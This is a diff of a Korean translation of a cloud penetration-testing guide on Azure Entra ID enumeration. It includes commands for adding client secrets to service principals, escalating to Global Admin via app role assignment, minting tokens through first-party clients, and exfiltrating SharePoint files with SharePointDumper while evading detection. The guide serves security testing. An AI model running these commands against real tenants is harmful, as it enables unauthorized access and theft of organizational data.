@@ -485,12 +483,12 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
#### 그룹에 사용자 추가
그룹 소유자는 새 사용자를 그룹에 추가할 수 있습니다
그룹 소유자는 그룹에 새 사용자를 추가할 수 있습니다.
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다**. 물론 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\
> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다**는 뜻입니다. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\
> 동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요:
{{#ref}}
@@ -499,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
For more information about Entra ID service principals check:
Entra ID service principals에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
@@ -600,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
> Service Principal의 Owner는 해당 비밀번호를 변경할 수 있습니다.
> Service Principal의 소유자(Owner)는 비밀번호를 변경할 수 있습니다.
<details>
<summary>각 Enterprise App에서 client secret을 나열하고 추가를 시도하세요</summary>
<summary>각 Enterprise App에서 client secret을 나열하고 추가해 보세요</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -711,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
### 애플리케이션
애플리케이션에 대한 자세한 내용은 다음을 확인하세요:
애플리케이션에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-basic-information/
{{#endref}}
앱이 생성될 때 2가지 유형의 권한이 부여됩니다:
App가 생성될 때 가지 유형의 권한이 부여됩니다:
- **권한** **Service Principal**에 부여됩니다
- **권한**을 **앱**이 **사용자 대신하여** 가질 수 있고 사용할 수 있습니다.
- **Permissions** **Service Principal**에 부여됩니다.
- **app**가 사용자 대신 사용할 수 있는 **Permissions**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -773,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
<details>
<summary>비-Microsoft API에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Known Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=(
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
"72f988bf-86f1-41af-91ab-2d7cd011db47"
)
is_microsoft_owner() {
local owner="$1"
local id
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
if [ "$owner" = "$id" ]; then
return 0
fi
done
return 1
}
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
# Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do
[ -n "$rid" ] || continue
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
# Print only app permissions where the target API is NOT Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
while IFS= read -r rra; do
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$owner_org" ] || owner_org="UNKNOWN"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
continue
fi
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
done < <(jq -c '.resourceAccess[]' <<<"$rra")
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
</details>
{{#endtab }}
{{#tab name="Az" }}
@@ -822,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> 권한 **`AppRoleAssignment.ReadWrite`**를 가진 앱은 역할을 자체적으로 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\
> 자세한 내용은 [**여기**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)를 참조하세요.
> 권한 **`AppRoleAssignment.ReadWrite`** 를 가진 앱은 스스로 역할을 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\
> 자세한 내용은 [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)을 확인하세요.
> [!NOTE]
> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열이 바로 application password입니다.\
> 따라서 이 **password**를 찾으면 해당 **tenant** **내부에서** **service principal**로 접근할 수 있습니다.\
> 이 password는 생성될 때만 표시된다는 점을 유의하세요(변경은 가능하지만 다시 확인할 수 없습니다).\
> 해당 **application**의 **owner**는 여기에 **add a password**를 할 수 있습니다(즉, 이를 가장할 수 있습니다).\
> 이러한 service principal로의 로그인은 **not marked as risky**로 표시되지 않으며 **won't have MFA.**
> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열 application password입니다.\
> 따라서 이 **password**를 찾으면 해당 **tenant** **내부**에서 **service principal**로 접근할 수 있습니다.\
> 이 password는 생성될 때볼 수 있다는 점(변경은 가능하지만 다시 가져올 수 없음)을 참고하세요.\
> **application**의 **owner**는 해당 애플리케이션에 **password**를 추가할 수 있습니다(이를 통해 애플리케이션을 가장할 수 있습니다).\
> 이러한 service principal로의 로그인은 **위험(risky)**로 표시되지 않으며 **MFA**가 적용되지 않습니다.
Microsoft에 속한 일반적으로 사용되는 App ID 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Microsoft에 속한 일반적으로 사용되는 App IDs 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
Managed Identities에 관한 더 자세한 정보는 다음을 확인하세요:
For more information about Managed Identities check:
{{#ref}}
../az-basic-information/
@@ -939,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Entra ID 역할
### Entra ID Roles
Azure 역할에 대한 자세한 정보는 다음을 확인하세요:
@@ -1062,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> 장치(VM)가 **AzureAD joined** 되어 있으면, AzureAD의 사용자는 **로그인할 수 있습니다**.\
> 또한, 로그인한 사용자가 해당 장치의 **Owner** 라면, 그는 **local admin** 권한을 갖게 됩니다.
> 디바이스 (VM)가 **AzureAD joined** 상태라면, AzureAD의 사용자는 **로그인할 수 있습니다**.\
> 또한, 로그인한 사용자가 해당 디바이스의 **Owner**라면, 그는 **local admin** 권한을 갖게 됩니다.
### 관리 단위
@@ -1102,13 +1175,13 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Microsoft Graph 위임 SharePoint 데이터 유출 (SharePointDumper)
## Microsoft Graph 위임 SharePoint 데이터 유출 (SharePointDumper)
Sites.Read.All 또는 Sites.ReadWrite.All을 포함하는 **위임된 Microsoft Graph 토큰**을 가진 공격자는 Graph를 통해 **sites/drives/items**를 열거한 다음 **SharePoint pre-authentication download URLs**(액세스 토큰을 포함하는 시간 제한 URL)을 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고, 탐지 테스트용으로 요청별 텔레메트리를 출력합니다.
공격자는 **`Sites.Read.All`** 또는 **`Sites.ReadWrite.All`** 권한이 포함된 **위임된 Microsoft Graph 토큰**을 가지고 있으면 Graph를 통해 **sites/drives/items**를 열거한 다음, 액세스 토큰이 포함된 시간 제한 URL인 **SharePoint pre-authentication download URLs**를 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth downloads)을 자동화하고 탐지 테스트를 위해 요청별 텔레메트리를 출력합니다.
### 사용 가능한 위임 토큰 획득
### 사용 가능한 위임 토큰 획득
- SharePointDumper 자체는 **인증을 수행하지 않습니다**; access token(선택적으로 refresh token)을 제공하세요.
- SharePointDumper 자체는 **인증을 수행하지 않습니다**; 액세스 토큰(선택적으로 refresh token)을 제공해야 합니다.
- 사전 동의된 **first-party clients**는 앱 등록 없이 Graph 토큰을 발급(mint)하는 데 악용될 수 있습니다. 예시 `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출:
```powershell
# CAE requested by default; yields long-lived (~24h) access token
@@ -1122,23 +1195,23 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE 클라이언트는 디바이스 간 refresh를 지원합니다; FOCI FALSE 클라이언트는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다.
> FOCI TRUE clients는 디바이스 간 refresh를 지원합니다; FOCI FALSE clients는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다.
### SharePointDumper 실행 (enumeration + exfiltration)
### enumeration + exfiltration을 위한 SharePointDumper 실행
- 기본 dump with custom UA / proxy / throttling:
- 기본 dump (custom UA / proxy / throttling 사용):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 한:
- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 한:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **재개** 중단된 실행을 재개합니다 (다시 열거하지만 다운로드된 항목은 건너뜁니다):
- **재개** 중단된 실행(다시 열거하지만 다운로드된 항목은 건너뜁니다):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **HTTP 401에서 token 자동 갱신** (EntraTokenAid가 로드되어 있어야 함):
- **자동 token 갱신 (HTTP 401 시)** (EntraTokenAid가 로드되어 있어야 함):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
@@ -1165,29 +1238,29 @@ Operational notes:
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
Azure의 Privileged Identity Management(PIM)는 사용자에게 불필요하게 과도한 권한이 할당되는 것을 **방지**하는 데 도움을 줍니다.
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
PIM이 제공하는 주요 기능 중 하나는 역할을 항상 활성화된 상태로 할당하지 않고, 대신 특정 기간 동안 **eligible(예: 6개월)** 상태로 만드는 것입니다. 사용자가 그 역할을 활성화하려면 필요 기간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 **관리자 승인이 필요**합니다.\
사용자는 요청한 시간을 **연장**할 수도 있습니다.
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
또한, **PIM은 권한 있는 역할이 누구에게 할당될 때마다 이메일을 전송**합니다.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
PIM이 활성화되면 각 역할에 대해 다음과 같은 요구사항을 구성할 수 있습니다:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- 활성화 최대 지속 시간(시간)
- 활성화 시 MFA 요구
- Conditional Access 인증 컨텍스트 요구
- 활성화 시 정당성 요구
- 활성화 시 티켓 정보 요구
- 활성화 승인 요구
- eligible 할당의 만료 최대 시간
- 해당 역할과 관련된 특정 동작이 발생할 때 누가 언제 알림을 받을지에 대한 다양한 추가 구성
### Conditional Access Policies
확인:
Check:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1195,23 +1268,23 @@ When PIM is enabled it's possible to configure each role with certain requiremen
### Entra Identity Protection
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Entra Identity Protection은 사용자의 로그인 시도가 수용하기에 **너무 위험한지 감지**하고, 위험한 경우 해당 사용자나 로그인 시도를 **차단**할 수 있도록 하는 보안 서비스입니다.
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
관리자는 위험 수준이 "Low and above", "Medium and above" 또는 "High"일 때 시도를 **차단**하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 **비활성화**되어 있습니다:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> 요즘에는 가능한 경우 동일한 옵션을 구성할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 은 여러 번의 로그인 실패가 발생할 때 계정을 잠금으로써 **약한 비밀번호의 남용을 방지**하는 보안 기능입니다.\
또한 관리자가 제공하는 **커스텀 비밀번호 목록을 차단**하도록 설정할 수 있습니다.
It can be **applied both** at the cloud level and on-premises Active Directory.
이 기능은 클라우드 수준과 온프레미스 Active Directory 모두에 **적용**할 수 있습니다.
The default mode is **Audit**:
기본 모드는 **Audit**입니다:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>